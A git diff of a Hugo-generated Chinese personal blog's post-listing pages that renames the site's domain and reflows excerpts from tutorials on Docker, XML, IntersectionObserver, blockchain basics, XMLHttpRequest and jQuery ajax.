id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Docker容器的简单使用</h2></header><div class=entry-content><p>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
 在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现
@@ -27,7 +27,7 @@
 配置稳定Docker CE源
 sudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable”
 安装docker引擎
-sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://xiaochenabc123.github.io/posts/18/></a></article><article class=post-entry><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
+sudo apt install docker-ce docker-ce-cli containerd....</p></div><footer class=entry-footer><span title='2021-06-16 09:34:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Docker容器的简单使用" href=https://chenjunlinabc.github.io/posts/18/></a></article><article class=post-entry><header class=entry-header><h2>XML学习笔记</h2></header><div class=entry-content><p>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
 version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档
@@ -63,7 +63,7 @@
 REQUIRED // 表示这个元素的这个属性是必须的
 IMPLIED // 表示这个元素可以包含这个属性，也可以不包含
 FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值
-默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://xiaochenabc123.github.io/posts/17/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
+默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=entry-footer><span title='2021-06-16 09:32:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to XML学习笔记" href=https://chenjunlinabc.github.io/posts/17/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-IntersectionObserver构造函数笔记</h2></header><div class=entry-content><p>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
 例如上面，该函数可以传入两个参数，callback是当可视性发生改变时执行回调函数，options是配置对象
@@ -85,22 +85,7 @@
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=>{
-// 实例化
-target.forEach((item) =>{
-if (item.intersectionRatio){
-// 当目标可视
-item.target.src = item.target.alt; // 进行属性值覆盖
-lazyload.unobserve(item.target) // 停止观测
-}
-})
-},{
-rootMargin: "100px" // 提前100px
-}); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素
-imgs.forEach((item) => {
-lazyload.observe(item)
-// 开始观测
-});</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://xiaochenabc123.github.io/posts/16/></a></article><article class=post-entry><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
+const lazyload = new IntersectionObserver((target)=>{ // 实例化 target.forEach((item) =>{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: "100px" // 提前100px }); const imgs = document.querySelectorAll("img[alt]"); // 选择带有alt属性的img元素 imgs.forEach((item) => { lazyload.observe(item) // 开始观测 });</p></div><footer class=entry-footer><span title='2021-06-16 09:29:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-IntersectionObserver构造函数笔记" href=https://chenjunlinabc.github.io/posts/16/></a></article><article class=post-entry><header class=entry-header><h2>简单理解区块链的基本原理</h2></header><div class=entry-content><p>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
 区块链技术诞生于比特币，而比特币的诞生又来源于一位叫中本聪的一篇文章（比特币：一种点对点的电子现金系统）
@@ -151,26 +136,10 @@
 软分叉：区块链发生改变，但是不会像硬分叉那样影响没有更新的节点，旧节点会兼容新节点，但是新节点不兼容旧节点而已
 解决分叉的方法就是所有矿工都遵从同样的机制（升级机制，保证机制为最新），而且那些没有遵从的就会发生分叉
 最经典的例子就是拜占庭将军问题
-主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://xiaochenabc123.github.io/posts/15/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
+主要讲的是：拜占庭帝国去攻击一个敌人，派了10支军队，要将这个敌人打败需要至少6支军队，而且必须在分散包围状态下同时攻击，需要依靠通信兵来进行传递信息，但是不清楚这些通信兵或者将军中是否有叛徒，而这些叛徒可能会传递假消息来导致进攻失败，而拜占庭将军们需要在这种分布式下进行传递消息...</p></div><footer class=entry-footer><span title='2021-06-16 09:27:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单理解区块链的基本原理" href=https://chenjunlinabc.github.io/posts/15/></a></article><article class=post-entry><header class=entry-header><h2>JavaScript-XMLHttpRequest对象笔记</h2></header><div class=entry-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
-xmlhttp.onreadystatechange = function(){
-if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
-document.getElementById("app").innerHTML = xmlhttp.responseText
-}
-}
-console.log(xmlhttp.readyState) // 0
-xmlhttp.open("GET","https://httpbin.org/get",true)
-console.log(xmlhttp.readyState) // 1
-xmlhttp.onprogress =function(){
-console.log(xmlhttp.readyState) // 3
-}
-xmlhttp.onload = function(){
-console.log(xmlhttp.readyState) // 4
-}
-xmlhttp.send();
-XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 && xmlhttp.status == 200){ document.getElementById("app").innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open("GET","https://httpbin.org/get",true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -188,8 +157,8 @@
 XMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0
 XMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）
 XMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：
-onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://xiaochenabc123.github.io/posts/14/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/21/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/23/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）...</p></div><footer class=entry-footer><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to JavaScript-XMLHttpRequest对象笔记" href=https://chenjunlinabc.github.io/posts/14/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/21/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/23/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/23/index.html b/posts/page/23/index.html
index 6a193de1..edc5a643 100644
--- a/posts/page/23/index.html
+++ b/posts/page/23/index.html
@@ -1,16 +1,5 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
-$("button").click(function(){
-$.ajax({
-type: "GET",
-url: "https://httpbin.org/get",
-success: function(getdata){
-console.log(getdata)
-}
-})
-})
-});
-参数
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script 